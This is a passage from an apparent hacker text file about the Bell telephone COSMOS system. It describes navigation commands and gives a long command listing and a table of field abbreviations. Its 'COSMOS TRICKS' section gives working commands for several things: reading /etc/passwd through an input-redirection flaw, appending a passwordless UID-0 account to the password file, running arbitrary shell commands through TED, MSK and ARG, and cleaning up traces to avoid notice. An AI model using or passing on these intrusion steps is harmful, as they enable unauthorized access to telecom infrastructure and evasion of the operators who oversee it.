To get a listing of all prefixes that exist in the Wire Center you are logged in under, you can use the command DDS (Display DS Table). This command will list the ranges that exist for a given input.

To list all telephone numbers in a given WC:

WC% DDS

H TN ?

_.

To list all cable pair ranges:

WC% DDS

H CP ?

_.

To change from one Wire Center to another, you use the command WCC (Wire Center Change). This is a very straight forward command.

EX:

WC% WCC NW

NW%

To allow for redirection in your COSMOS commands, you must execute the DIO command. This command is rather important for manipulating commands to work for you.

EX:

WC% DIO

To see what transactions other people logged in are running, you can use the command TSNAP (on certain generics)

EX:

WC% TSNAP

There are about one hundred other COSMOS commands that are all defined at the end of this file. I cannot go into detail on all of them but I will list them and their meanings.

========================================

COSMOS TRICKS

Even if you don't have full COSNIX access, you can basically execute any command or read any file that exists in the system. Using the INQ (or ISH) command and redirection, you can open and display any file. EX: To display the password file

WC% INQ </ETC/PASSWD

This will display the file, however, since this is a flaw in the command, it thinks the file is to be input for INQ, and each line will be preceded with "ILLEGAL LINE TYPE", but this can be ignored.

Other files to look at:

/USR/FACS/WCFILE List of all Wire Centers

/ETC/MATRIX.P Permission Matrix (Who can execute what commands) You may or may not want to try the following. There is a high probability that you will be noticed on the system. If your local COSMOS ports are usually left logged in, don't bother doing this. However, if your COSMOS ports are always logged out, and you almost never get in, and you happen to stumble upon one left logged for the first time in months, it might be worth a try.

There are a few ways to make a new account on COSMOS; however, you need to be able to write to the password file. Some systems allow this, but most do not.

The easiest way involves using the echo command and redirection. EX:

WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd This will add user EB01 to the end of the password file.

If you do not have access to echo you can do the same thing using the TED command (Text Editor).

WC% TED >>/etc/passwd

S.O. NO.= SO123456

IS THIS A NEW S.O. (Y on NO) Y

1d

a

EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so

^C

1p

w

q

After executing the above, you will need to clean up the /etc/passwd file to remove the Service Order information put in there by TED. You will also need to remove the service order you created from the /usr/so/WC directory.

If you cannot find a way to get shell access, you can still execute any COSNIX command you desire again using TED, MSK (Output a Transaction Mask), and ARG (Assemble and Run a Given Master File).

EX:

WC% TED

S.O. NO.= SO123456

IS THIS A NEW S.O. (Y or NO) Y

12

1d

a

$*

run!

^c

w

q

WC% MSK >/usr/so/newcmd

SO123456

WC% ARG

newcmd ls /etc

To execute the command, you need to do ARG, then the name of the file (which I called newcmd), then the COSNIX command you wish to execute.

If you can use echo this can be done much easier.

EX:

WC% echo '$*' >/usr/so/newcmd

WC% echo 'run!' >>/usr/so/newcmd

Then you can run your command normally with ARG.

WC% ARG

newcmd cd ..

IF you do not have access to echo, create a newcmd file and you can use it that way.

WC% ARG

newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd

========================================

COSMOS COMMAND LISTING

ACE Establish an Assignment Change Ticket

AIT ANALIT Initialization of Tables

ARG Assemble and Run a Given Master File

AUD Assignment List Audit

BAI Bridge Lifter Assignment Inquiry

BYF Display the Bypass File

BYP Change the Contents of the Bypass File

CAY Create an Assembly

CCA Change Customer Attributes

CCT Initialize and Update the Contractor‑Transducer File

CDA Change Distribution Attributes

CDD Change Due Date

CDR Cut Thru DIP Report

CFA Change Facility Attributes

CFP Print the Class of Service/Features for an Electromechanical Entity CFU Change Facility Usage

CIE Company Establish Company Initiated Change

CLI COSMOS Processed ALIT Reports

CPI COSMOS‑PREMIS Interface

CPM COSMOS Performance Monitor

CTC Complete a Cable Transfer or Complete a Cable Throw

CTE Cable Throw Order Establishment

CTF Display the Contacter‑Transducer File

CTL Cable Throw with Line Equipment Assignment

CTM Cable Throw Modification

CTP Print Cable Transfer Frame Work

CTR Cable Throw Replacement

CTS Cable Throw Summary

CTW Withdraw a Cable Transfer or a Cable Throw

CUP Common Update Processor

CXC Complex Service Order Input Checker

CXM Centrex Table Management

CXT Complex Order Inquiry for NAC Review

DAY Delete an Assembly

DBL Data Base Load

DCN List Disconnected and Changed Numbers

DDS Display the DS Table

DIR Standard DIP Report

DPN DIP Purge Number

DPR DIP Report and Removal

DQR Design Quota System Report

DQS Design Quota System

DTE Print Current Date

EDZ Facility Emergency Assignment List

ELA Entity Load Analysis

ESP Print Entire Summary Table

FDY Set Fiscal Day for LAC

FLR Frame Layout Report

FOR Frame Order Report

FOS Frame Operations Summary

FTA Frame Transfer Analysis

FTC Frame Transfer Completion

FTE Frame Transfer Establishment

FTL Frame Transfer LETs

FTR Frame Transfer Reprint

FTW Frame Transfer Withdrawal

FWM Frame Work Management

GFR General Facility Report

GLA Generate Lists for Assignment

HBS Hunt Group Blocks of Spares

HGR Hunt Group Report

HGS Hunt Group Summary

HIS Hunting ISH

IJR Input a Jeopardy Reason

IMU Input Measured CCS Usage Data

INQ Complete Circuit Inquiry

ISF Inquire on a Single Facility

ISH Complete Circuit Inquiry Short

JAM Jumper Activity Management

JPH Jumper Placement History

KPR Killer Pair Report

KSM Create a Transaction Mask

LAI Line Equipment Assignment Inquiry

LBP Load Balance Parameters

LCD LIST Cable Summary, LIT Demand Test

LCP List Cable Pairs

LEE NAC Related Line Equipment Transfer Order Establishment

LEW Line Equipment Transfer Withdrawal

LFC Load Factor Calculation

LFR Line Failure Report

LGN List Hunt Groups

LIN Transmit ALIT Data to COSMOS

LOE List Originating Line Equipment

LSE Line and Station Transfer Order Establishment

LSW Line and Station transfer Withdrawal

LTN List Telephone Numbers

MAL Manual Assignment List

MAP Manual Assignment Parameters

MAQ Manual Assignment File Inquiry

MAY Modify an Assembly

MCE Establish a Maintenance Change Ticket

MCH Manually Change Hunt

MCL Maintenance Change List

MCR Establish a Maintenance Change Repair

MCW Maintenance Change Ticket Withdrawal

MDC Manually Disconnect a Working Circuit

MEC Manually Establish a Circuit

MMC Manually Modify a Circuit

MOC MOE Order Completion

MOE Mass OE Transfers

MOF Mass OE Frame Transfer Listings

MOW MOE Order Withdrawal

MPK Modify Work Package

MSK Output a Transaction Mask

MTR Manually Test a Response

NAI Telephone Number Assignment Inquiry

NOL NAC Service Order Listing

NSD Number Summary Display

OIJ Orders in Jeopardy

OPN Open‑of‑Day Report

OPU Outside Plant Cable Usage

PAK Work Packages

PEP Position Establishment for Parties

PFR Party Line Fill Report

PRP Periodic Purging of Remarks

QEX Question an Execution

QUE Queue

RAL Relay Assignment List

RAP Relay Assignment Parameters

RAS Release Sequence Number Lists and Related TN/OE

RBS Print TBS Relays Assignment Record

RCP Recent Change Packager

RCR Recent Change Report

RCS Recent Change Summary

RED Recent Change Message Text Editor

REL Release Non‑Intercepted Numbers by Release Date

REM Remove Frame Locations

RET Retermination of Frame Locations

REX Reexecute a Service Order

RJR Remove Jeopardy Reason Codes

RMP Recent Change Punctuation Table

RNA Release Telephone Numbers for Assignment

ROE Reservation Order Establishment

ROI Reservation Order Inquiry

ROW Reservation Order Withdrawal

RTH Report Transaction to Count Spare and DIPed Line Equipment RTS Relay and Telephone Number Status Report

RUP Request Unsolicited Processing

SAI Summary of Action Items

SCA Service Order Completion‑Automatic

SCF Simple Completion for MDF

SCI Spare Cable Pair Inquiry

SCM Standard Completion by MDF

SCP Service Order Completion by LAC

SCR Standard Completion by RCMAC

SEL Selecting Lines for an Exchange Class of Service Study

SET Statistics on Equipment and Telephone Numbers

SGH Supply Relays for Groups of 5XB Hunts

SIR Sorting Inquiry by Range

SLC Subscriber Line Counts for Custom Calling Features

SOC Service Order Cancel

SOE Service Order Establishment

SOF Service Order Fix

SOH Service Order Withheld

SOI Service Order Assignment Inquiry

SOL Service Order Listing

SOM Modify a Pending Service Order

SOW Service Order Withdrawal

STN Summarize Telephone Numbers

SVL Service Observing Loops

TAI Tie Pair Assignment Inquiry

TAT Test Alignment of Frame Terminal

TED Text Editor

TET Display or Change Band Filter File, Retention Factor and Print Threshold TFC Transfer Frame Changes

TIG Dial Transfer Input Generator

TLC Translate LANAVAR/CPS

TNS Telephone Number Swap

TOC Transfer Order Completion

TOE Transfer Order Establishment

TOF Mass OE Transfer Order Frame Listings

TOI Dial Transfer Order Inquiry

TOL Transfer Order Lists

TOO Transfer Order Omissions

TOW Transfer Order Withdrawal

TPU Tie Pair Usage Report

TRC Transfer Order Recent Change Report

TRI Transmission Equipment Assignment Inquiry

TRW Total Reservation Order Withdrawal

TSL Line Equipment Summary Report

TSN Traffic Statistics on Telephone Numbers

TSW Total Service Order Withdrawal

TTY Get TTY Name

TXC Text Checker

TXM Transfer Centrex Management

UDP Update DIP Parameters

UES Update the Entity Summary Table

UFO Unprinted Frame Orders

UPC Update CCS vs. Class of Service Table

USL List USOC (US) File Data

UTC Update Table for Concentrator Redesign

WCC Change Wire Center

WCT Worksheet for Cable Throw Orders

WFL Working Frame Location

WOI Work Order Inquiry

WOL Work Order Listing

WPT Work Package Table

WSL Work Status List

WUL Work Unit Report for Subscriber Line Testing and Installation Assignment

========================================

COSMOS ABBREVIATIONS AND FORMATS

The following will be given as follows:

Prefix and Meaning

Format

Code Value and Meaning

AC Assembly category

AC XXXX

PERM=Permanent Facility Assemblies

TEMP=Temporary Facility Assemblies

AC Assembly Code

AC XXX

XXX=1‑999

ADSR Administration of Designed Services Review

ADSR X

Y=Yes, TIRKS Circuit

N=No, COSMOS Circuit

AGM Normal Aging Months

AGM XX

XX=Number of Months

AGT Accelerated Aging Type

AGT XXX

BUS=Business

RES=Residential

AI Assigner's Initials

AI XXX

XXX=3 Alphanumeric Characters

AO Allocation Order

AO XX

XX=Two Numeric Characters

AR Advance Relay

AR XYY‑ZZZ

X=Marker Group

YY=Number Group from Frame

ZZZ=Relay Number

ATN Assigner's Telephone Number

ATN XXX‑XXXX

XXX‑XXXX=Assigners TN

BL Bridge Lifter

BL XX...XX

XX...XX=Maximum of 17 Alphanumeric Characters

BLS Bridge Lifter Status

BLS X

Y=Yes

N=No

BND Band Number

BND X

X=0‑3

BTN Billing Telephone Number

BTN XXX‑XXXX

XXX‑XXXX=Billing Telephone Number

CA Cable Number

CA XX...XX

XX...XX=Maximum of 10 Alphanumeric Characters

CAT Centrex Access Treatment

CAT XX

XX=Maximum of 2 Numeric Characters

CC Call Count

CC XX

XX=Maximum of 2 Numeric Characters

CCF Custom Calling Features

CCF XXXXXX

XXXXXX=3 to 6 Alphanumeric Characters

CCS Hundred Call Seconds

CCS XXXX

XXXX=3 or 4 Numeric Characters

CEU CCS Estimated Usage

CEU XXXX

XXXX=3 or 4 Numeric Characters

CG Control Group Number

CG X

X=0‑9

CKID Circuit Identification

CKID XX...XX

XX..XX=Maximum of 61 Alphanumeric Characters

CKL Circuit Location

CKL XXXX

XXXX=Maximum of 4 Alphanumeric Characters

CLC Common Language Code for an Entity

CLC XX...XX

XX...XX=Maximum of 11 Alphanumeric Characters

CLCI Common Language Circuit Identification

CLCI XX...XX

XX...XX=Maximum of 61 Alphanumeric Characters

CLEI Common Language Equipment Identifier

CLEI XX...XX

XX...XX=Maximum of 10 Alphanumeric Characters

CLF Creating DIPs Upper Bound Load Factor

CLF XX

XX=1‑10

CLL Creating DIPs Lower Bound Load Factor

CLF X

X=1‑9

CLS CLCI in Serial Number Format

CLS XX...XX

XX..XX=Maximum of 61 Alphanumeric Characters

CLT CLCI Telephone Number Format

CLT XX...XX

XX...XX=Maximum of 61 Alphanumeric Characters

CMF Capacity Main Station Fill

CMF XXXXXX

XXXXXX=Maximum of 6 Numeric Characters

CMU CCS Measured Usage

CMU XXXX

XXXX=3 or 4 Numeric Characters

COM Complement Size

COM XXXX

XXXX=1‑9999

CON Concentrator

CON XX‑YY

XX=Maximum of 2 Alphanumeric Characters

YY=Maximum of 2 Numeric Characters

CP Cable and Pair Number

CP XX...XX‑YZZZ

XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters YZZZ=Cable Pair ID

Y=Alphanumeric

ZZZ=Numeric

CPU CCS Capacity Usage

CPU XXXX

XXXX=3 or 4 Numeric Characters

CRG CREG Tag

CRG XXX

XXX=YES or NO

CS Customer Class of Service

CS XXXXXX

XXXXXX=Maximum of 6 Alphanumeric Characters

CTID Circuit Termination Identification

CTID XX...XX

XX...XX=Maximum of 61 Alphanumeric Characters

CTT Cut Through Tag

CTT XXX

XXX=YES or NO

CTX Centrex Group Number

CTX XXXX

XXXX=Maximum of 4 numeric Characters

DC Dial Code

DC X

X=1 Alpha Characters

DD Due Date

DD MM‑DD‑YY

MM=Month

DD=Day

YY=Year

DID Direct Inward Dialing

DID XXXX

XXXX=Maximum of 4 Numeric Characters

DIP DIP Creation Option

DIP X

Y=Yes

N=No

DNY Denial of Service for Non‑payments

DNY X

I=Incoming

O=Outgoing

B=Both

DPA Different Premises Address

DPA XXX

XXX=Maximum of 3 Alphanumeric Characters

DPT Department Name

DPT XXX

XXX=Maximum of 3 Alphanumeric Characters

DST Destination of Order Response

DST XXXX

XXXX=Maximum of 4 Alphanumeric Characters

DT Due Time

DT XX

XX=AM, PM, or 0‑9

EC ESS Entity and Control Group Number

EC YZ

Y=Entity Number

Z=Control Group Identifier

ECS Equipment Class of Service

ECS XXXXXX

XXXXXX=Maximum of 6 Alphanumeric Characters

ED Enter Date

ED MM‑DD‑YY

MM=Month

DD=Day

YY=Year

EN Entity

EN X

X=S, E, 1, 5 or 0

EN Entity Number

EN X

X=0‑9

ENT Entity Number

ENT X

X=0‑9

EO Error Handling Option

EO XX

CE=Continue Processing and Establish Valid Circuits CW=Continue Processing and Withdraw Established Circuits SE=Stop Processing and Establish Valid Circuits

SW=Stop Processing and Withdraw Established Circuits

EQF Equipment Features

EQF WXYZ

W=R (Rotary) or T (Touchtone)

Y=S (Sleeve) X (Range Extension) or N (Non‑sleeve or Non‑range Extension) X=E (Essential) or N (Non‑essential)

Z=G (Ground Start) or L (Loop Start)

EQV Frame Equivalence

EQV FXX

F=The Letter "F"

XX=Two Alphanumeric Characters

ETC Estimated Trunk CCS Value

ETC XXXX

XXXX=Maximum of 4 Alphanumeric Characters

EXD ECS Crossloading Option

EXD XXX

XXX=YES or NO

FAC Type of Segment List Being Audited

FAC XX

TN=Telephone Number

OE=Line Equipment

FAC Circuit Confiruration

FAC XXX or

FAC TN‑NNX or

FAC CP‑XX...X or

FAC SE‑YY...Y or

FAC PL‑ZZ...Z

XXX=Any Facility Prefix

NNX=Three Alphanumeric Characters

XX...XX=Maximum of 10 Alphanumeric Characters YY...YY=Maximum of 52 Alphanumeric Characters ZZ...ZZ=Maximum of 61 Alphanumeric Characters

FC From Cable

FC XX...XX

XX...XX=Maximum of 10 Alphanumeric Characters

FDD Frame Due Date

FDD MM‑DD‑YY

MM=Month

DD=Day

YY=Year

FEA Customer Feature

FEA XXXX

(Same as EQF)

FILT Filter

FILT XXX

XXX=Y, YES, N, or NO

FR Frame Identification

FR FXX

F=The letter "F"

XX=Two Alphanumeric Characters

FT Frame Time

FT XX

XX=01‑24

FW MDF Output Suppressed

FW X

Y=Frame Work Yes

N=Frame Work No

GP MLHG Group Number

GP Y‑XXXX

Y=Alphanumeric Control Group

XXXX=Numeric Group Number

GSO Ground Start Option

GSO X

1=Assigned to any OE in the Entity

2=Assigned to Even Levels

3=Only Assigned to OE Specified as Ground Start

HC Hunt Count

HC XXXX

XXXX=Maximum of 4 Numeric Characters

HF Hunt‑from Telephone Number

HF XXX‑XXXX

XXX‑XXXX=Telephone Number

HLC Highest Lead Factor Group Count

HLC XXXX

XXXX=1‑9999

HR Held Order Reason Code

HR XX

CE=Equipment Shortage

CF=Lack of Facility

CL=Plant Load

CO=General Company Reasons

C1‑C5‑Additional Company Reasons

SA=Subscriber Access

SL=Subscriber Requested Later Date

SO=General Subscriber Reasons

SR=Subscriber Not Ready

S1‑S5=Additional General Subscriber Reasons

HRS Hours Prefix

HRS XX

XX=01‑24

HT Hunt‑to Telephone Number

HT XXX‑XXXX

XXX‑XXXX=Telephone Number

HTG Hunt‑to Group Number

HTG Y‑XXXX

Y=Alphanumeric Control Group

XXXX=Numeric Group Number

HTX Hunt‑to X Number

HTX XXX‑YYXX of

HTX XXX‑YXX

Y=Alphanumeric

X=Numeric

INIT Allocation Table Initalization

INIT

(No Data Entry)

ITM Cable Pair Item Number

ITM XX

XX=Two Numeric Characters

JL Jumper Length

JL XXX

XXX=Maximum of 3 Numeric Characters

JR Jeopardy Reason

JR XX

A1=Assignment Error on CP

A2=Assignment Error on OE

A3=Assignment Error on TN

A4‑A9=Other Assignment Error

C1=No SSWO for Circuit Design Group

C2‑C9=Local Code for Circuit Design Group

E1‑E9=No ESS Translations

IB=No Installation Go‑ahead for Business

IC=No Installation Go‑ahead for Coin

ID=No Installation Go‑ahead for Data

IR=No Installation Go‑ahead for Residence

IS‑No Installation Go‑ahead for Special

I1‑I4=Local Codes foir No Installation Go‑ahead RB=Business RSB

RC=Coin RSB

RD=Data RSB

RR=Residence RSB

RS=Special RSB

R1‑R4=Local Use for RSB

LC Output Line Count

LC XXXX

XXXX=0‑9999

LC Line Count

LC XXX

XXX=0‑999

LC Pending Service Order Count

LC

(No Data Entry)

LCC Line Class Code

LCC XXX

XXX Maximum of 3 Alphanumeric Characters

LD Loading Division

LD XX

XX=Two Numeric Characters

LDN Listed Directory Number

LDN XXX‑XXXX

XXX‑XXXX=Telephone Number

LF Load Factor

LF XX

XX=1‑10

LIM Less Than the Specified Number of Pairs

LIM XX

XX=0‑50

LIM High Limit on Number of Specified Status Pairs in a Complement LIM XX

XX=0‑50

LIM Low Limit on Number of Spare Line Equipment in Vertical Files LIM XX

LIM=1‑10

LLC Low Load Group Count

LLC XXXX

XXXX=0‑9999

LOC Location

LOC FXXYYY

F=The Letter "F"

XX=Alphanumeric

YYY=001‑999

LP Loop Range

LP XXX;XXX

XXX;XXX=Six Numeric Characters

LS List New Pending Cable Transfers

LS XXX

XXX=NEW

LTI Loop Termination Identifier

LTI XXX

XXX=Three Alphanumeric Characters

MASK Office Equipment Mask

MASK OE ID

ID=XXX‑XXX‑XXX =1ESS

ID=XXX‑XXXX =2ESS

ID=XXX‑XXXX =3ESS

ID=XXXX‑XXX‑XX =5ESS

ID=XXXX‑XX‑XX =5ESS

ID=XXXX‑X‑XXXX =RSS

ID=XXXX‑XXX‑XX =1XB

ID=XXXX‑XXXX‑XX =1XB

ID=XXX‑XX‑XX =5XB

ID=XXXX‑XXX =SXS

ID=XXX‑X‑XX‑X =DMS‑10

ID=XXX‑X‑XX‑XX ‑DMS‑100

X=Alphanumeric

MAT Manual Assistance Tag

MAT XXX

XXX=YES or NO

MAX Maximum Percentage Value of Entity Fill or Maximum CCS Value MAX XXX

XXX=Maximum of 3 Numeric Characters

MBL Mini‑bridge Lifter Tag

MBL XX

Y=MBL Working on CP

N=CP Can't Support MBL

EQ=CP has MBL Capabilities

MC Marker Class of Service

MC XX

XX=Two Alphanumeric Characters

MF Recent Change Message Format

MF XXXX

NEW=RX:LINE:messages

OUT=RC:LINE:OUT:messages

CHG=RC:LINE:CHG:messages

SUSP=RC:LINE:CHG:messages of suspended service

MF Jumper Listing for MDF

MF XXX

NEW=Running Jumper Listing

DJ=Dead Jumper Listing

MF Message Format When Completing Transfer Circuits with TOC MF XXX

ALL=Message is Printed for Every Circuit in Range ERR=Message Printed Only for Circuits not Completed

MF Message Format for Dial Transfer Number Lists

MF XXX

GVR=Transaction GFR Output Format, One Facility per Line LVT=Line Verification Test Format

TLC=Two‑line Condensed Format

MG Marker Group Number

MG X

X=0‑9

MIN Minimum Percentage Value of Entity Fill or Minimum CCS Value MIN XXX

XXX=Maximum of 3 Numeric Characters

MLP Multi‑loop Resistance Zone Threshold

MLP XX

XX=Two Numeric Characters

MOD Module Number

MOD XXX

XXX=Three Numeric Characters

MODE Integrated SLC No. 5ESS Mode

MODE X

1=5 T1 Carrier Channels

2=3 T1 Carrier Channels

MPN Master Work Package Number

MPN XXXX

XXXX=1‑9999

MR Message Register

MR XXXXXX

XXXXXX=Maximum of 6 Alphanumeric Characters

MRO Message Register Option

MRO XXX

XXX=YES or NO

MT Master Record Tape Unit Number or Tape Drive to Write MT X

X=Numeric

MTR Tape Drive to Read

MTR X

X=Numeric

MTW Tape Drive to Write

MTW X

X=Numeric

NAR NAC Assignment Review

NAR XXX

XXX=Maximum of 3 Numeric Characters

NGF Number Group Frame for 5XB

NGF XXX

XXX=Three Numeric Characters

NNX Telephone Exchange Code

NNX XXX

XXX=THree Numeric Characters

NOE Number of OEs to be Assigned

NOE X

X=0 or 1

NPA Area Code and Exchange Number

NPA XXXXXX

XXXXXX=Six Alphanumeric Characters

NRM Normalizing CCS VAlue

NRM XX

XX=0‑99

NTN Number of TNs to be Assigned

NTN X

X=0 or 1

OA Line Equipment Assignment Option

OA X

Y=Yes

N=No

OC Order Category

OC XXX

ACT=Assignment Change Ticket

ALL=All OE Load Factors

CPC=Special Service

FM=Count Since OE Input Features Occurrences

FO=Count All OE Input Feature Occurrences

HOT=Frame Ouput‑urgent

JR=Jeopardy Reason

OCS Old Class of Service

OCS XXXXXX

XXXXXX=Maximum of 6 Alphanumeric Characters

OD Output Device

OD XXXX

TT=Send Output to Current Terminal

TTXX=Send Output to Specified Terminal XX

MTX=Send Output to Magnetic Tape X

OE Office Equpiment Number

OE ID

(See MASK)

OGO Outgoing Only Trunk

OGO XXX

XXX=Maximum of 4 Numeric Characters

OPT Party Assignment Option

OPT X

1=Assign Multi‑party Customers to Spare Party Equipment 2=Assign Multi‑party Customer to Partially Equipped Party Equipment 3=Assign Only One Multi‑Party Customer to each Single Party Equipment ORD Service or Work Order

ORD XX...XX

XX...XX=Maximum of 20 Alphanumeric Characters

OT Service or Work Order Type

OT XXX

BT=Background Transfer

CD=Complete Disconnect

CH=Changed

CIO=Company Initiated Orders

F="FROM"

LET=Line Equipment Transfers

LST=Line and Station Transfers

MCE=Maintenance Change by LAC

MCR=Maintenance Change by Repair

MCT=All Maintenance Changes

NC=New Connect

R=Remarks

REA=Pending Reassociation

SW=Swap

T="TO"

PBX Private Branch Exchange

PBX XXXX

XXXX=Maximum of 4 Numeric Characters

PCID Primary Circuit Identification

PCID XX...XX

XX...XX=Maximum of 61 Alphanumeric Characters

PKT Picket Fence Values

PKT XXX.X,...,XXX.X

XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or N=No New Values

PL Private line Circuit Number

PL XX...XX

XX...XX=Maximum of 61 Alphanumeric Characters

PNL PREMIS Number List for TN

PNL XX...XX

XX...XX=Maximum of 12 Alphanumeric Characters

POP Line Equipment Print Option

POP XXX

CNC=Concentrator‑1ESS, 2ESS, 3ESS, RSS

CNG=Concentrator Group‑2ESS, 3ESS

HG=Horizontal Group‑5XBAR

IM=Interface Module‑5ESS

LFG=Line Finder Group‑SXS

LLF=Line Link Frame‑5XBAR

LLN=Line Link Net‑1ESS

LTN=Line Trunk Net‑2ESS

LU=Link Unit Module‑5ESS

QC=Quarter Choice‑1XBAR

SW=Switch‑1XBAR

VF=Vertical FIle‑5XBAR

PR Cable Pair ID

PR YXXX

Y=Alphanumeric

XXX=Numeric

PRI Frame Priority

PRI XX

XX=Two Numeric Characters

PRP Permanent Cable Pair Remarks

PRP XX...XX

XX...XX=Maximum of 14 Alphanumeric Characters

PRZ Preferred Rate Zone

PRT X

X=Numeric

PS Previously Published/Non‑published Facility Indicator PS X

N=Non‑Published

!=Published

PT Package Time

PT XXX

XXX=Three Numeric Characters

PTY Party Number or Position

PTY X

X=1‑4

PTY Party Indicator

PTY X

R=Reserved

O=Open

PWC PREMIS Wire Center

PWC XX...XX

XX...XX=Maximum of 8 Alphanumeric Characters

PWC Print Work Code

PWC XXX

NBT=No Back Tap

COM=Frame Complete

PBT=Print Back Tap

RCT=Place Heat Coils on "TO" Pair

RBT=Remove Back Tap

RCF=Remove Heat Coils on "FROM" Pair

VBT=Verify Back Tap

USX=Locally Defined Codes (X=1‑4)

RAP Rotary Assignment Priority

RAP X

X=Numeric

RCT Recent Change Type

RCT XX

1=1ESS Office

1A=1AESS Office

2=2ESS (LO1)

2E=2ESS (EF1 and EF2)

3=3ESS

5T=5ESS

RCW Recent Change Keyword

RCW XX...XX

XX...XX=Maximum of 20 Alphanumeric Characters

RD Release Date

RD MM‑DD‑YY

MM=Month

DD=Day

YY=Year

RDG Message Register Reading

RDG XXXX

XXXX=Four Numeric Characters

REC Record File Name and Number

REC FFXXXXXX

FF=File Name (Alphanumeric)

XXXXXX=Record Number (Maximum of 6 Numeric Characters)

REP Reprint Option

REP X

Y=Yes

N=No

RESP Send a Solicited Response

RESP X

S=Solicited Response

REW Rework Status

REW X

Y=Yes

N=No

RLF Re‑using DIPs Upper Bound Load Factor

RLF X

X=1‑9

RLO Automatic Relay Assignment Present

RLO X

Y=Yes

N=No

RLY Miscellaneous Relay

RLY XX...XX

XX...XX=Maximum of 10 Alphanumeric Characters

RMK Remarks on Orders

RMK XX...XX

XX...XX=Maximum of 28 Alphanumeric Characters

RMKG Hunt Group Remarks

RMKG XX...XX

XX...XX=Maximum of 30 Alphanumeric Characters

RMKO Remarks on Office Equipment

RMKO XX...XX

XX...XX=Maximum of 12 Alphanumeric Characters

RMKP Remarks on Cable Pair

RMKP XX...XX

XX...XX=Maximum of 14 Alphanumeric Characters

RMKT Remarks on Telephone Number

RMKT XX...XX

XX...XX=Maximum of 14 Alphanumeric Characters

RNO RSS Subentity Number

RNO XX

XX=01‑63

RTI Route Index

RTI XXXX

XXXX=Maximum of 4 Numeric Characters

RTYP Relay Type

RTYP XXX

TBA=Tens Block Auxiliary

SC=Sleeve Connect

AR=Advance

RTZ Rate Zone

RTZ X

X=Numeric

RW Recent Change Work

RW X

N=Recent Change Message not Required

C=Recent Change Coordination Required

RZ Resistance Zone

RZ XX

XX=Two Numeric Characters

SBS Sub‑status

SBS X

A=Area Transfer

C=Cut Through

D=Dedicated

L=Cut Through and Dedicated

!=Blank

SC Sleeve Connect Relay

SC SYY‑ZZZ

S=Marker Group (Numeric)

YY=Number Group Frame (Numeric)

ZZZ=Relay Number (Numeric)

SE Special Service Equipment Number

SE XX...XX

XX...XX=Maximum of 52 Alphanumeric Characters

SET Single Entity Tag

SET X

Y=CP is Served by a Single Entity on a Single Frame !=CP Can be Served by More Than One Entity

SG Service Segment

SG X

B=Business

C=Coin

D=Data

R=Residence

S=Special

SGN Common Language Segment Number

SGN XXX

XXX=Maximum of 3 Alphanumeric Characters

SIS Special Identifying Telephone Number Supplement

SIS XXXX

XXXX=Maximum of 4 Numeric Characters

SIT Special Identifying Telephone Number

SIT XXX‑YYY‑XXXX

X=Numeric

Y=Numeric

SK Skip Option

SK X

X=0 or 2‑9

SN Sequence Number

SN XXX

XXX=1‑999

SOB Service Observing Tag

SOB XXX

XXX=YES or NO

SS Suspension Status

SS XX

DB=Deny Both Ways

DI=Deny Incoming

DO=Deny Outgoing

RS=Restore Suspended Circuit

SB=Suspend Both Ways

SD=Season Disconnect

SI=Suspend Incoming

SO=Suspend Outgoing

DX=Deny Toll Access Tervice

SSV Suspend Service Type

SSV XX

DO=Deny Outward Service

DB=Deny Both Outward and Inward Service

DX=Deny Toll Access Service

RS=Restore Denied Service

STAT Order Status

STAT XX

AC=Pending With no Framd or Installation Completion FC=Pending With Frame Completion but no Installation Completion IC=Pending with Installation Complation but no Frame Completion CC=Completed Orders

CA=Canceled Orders

STAT Facility Status

STAT XX

AS=All Spare

EX=Excluded

PC=Pending Connect

RS=Reserved

SF=Spare Facility

UK=Unknown

WK=Working

STAT Load Group Status

STAT XX

EX=Blocked from all Assignments

FU=Open for Dial Transfer Assignments Only

PS=Pseudo LEN Assignments Only

SO=Open for Service Orders and Work Orders Only

WK=Open for All Assignments

STO Line Equipment Status

STO XX

AW=All Working

MS=Miscellaneous

OF=Official

TJ=Trunk and Junctor

TS=Test

WK=Working

PD=Pending Disconnect

PK Pending Disconnect/Pending New Connect

AS=All Spare

EX=Excluded

LI=Left‑in Disconnect

RS=Reserved

SF=Spare

UK=Unknown

PC=Pending Connect

STP Cable and Pair Status

STP XX

AL=All Pairs

AD=All Defective

AP=All Provisioned

AW=All Working

DC=Designed Circuit

DI=Defective (I=1‑9)

DM=Designed + SSM

DP=Designed + SSP

SM=Special Safeguard Measures

SP=Special Safeguard Protection

SS=Special Status

WK=Working

AS=All Spare

EX=Excluded

LI=Left‑in Disconnect

RS=Reserved

SF=Spare

UK=Unknown

PC=Pending Connect

PD=Pending Disconnect

STT Telephone Number Status

STT XX

AU=Auxiliary

AW=All Working

MS=Miscellaneous

NP=Non‑published

OF=Official

TJ=Trunk and Junctor

TS=Test

WK=Working

AS=All Spare

AV=Available

CM=Changed‑Machine Intercept

CO=Changed‑Operator Intercept

DM=Disconnected‑Machine Intercept DO=Disconnected‑Operator Intercept

EX=Excluded

RS=Reserved

SF=Spare

UK=Unknown

PC=Pending Connect

PD=Pending Disconnect

PK=Pending Disconnect/Pending New Connect

SUBL Sublet Service

SUBL XXX‑XXXX

XXX‑XXXX=Telephone Number

SWC Set Work Code

SWC XXX

(See Print Work Code)

SWG Switch Group

SWG X

X=0‑2

SYS Machine Number

SYS XX...XX

XX...XX=Maximum of 12 Alphanumeric Characters

TA Transfer Assembly

TA X

Y=Yes

N=No

TAP Touchtone Assignment Priority Number

TAP X

X=Numeric

TBA TBA Relay

TBA XYY‑ZZZ

X=Marker Group Number (Numeric)

YY=Number Group Frame (Numeric)

ZZZ=Relay Number (Numeric)

TBS TBS Relay

TBS XZ‑NN

X=Marker Group Number (0‑9)

Z=Relay Number (0‑3)

NN=Ringing Combination (01‑16)

TC TO Cable

TX XX...XX

XX...XX=Maximum of 10 Alphanumeric Characters

TER Terminal

TER XXXX

XXXX=Maximum of 4 Numeric Characters

TER Terminal Number

TER Y‑XXXX‑ZZZZ

Y=Control Group (Alphanumeric)

XXXX=Group Number (Numeric)

ZZZZ=Terminal Number (Numeric)

THG Thousands Group

THG X or

THG XXXX

X=0‑9

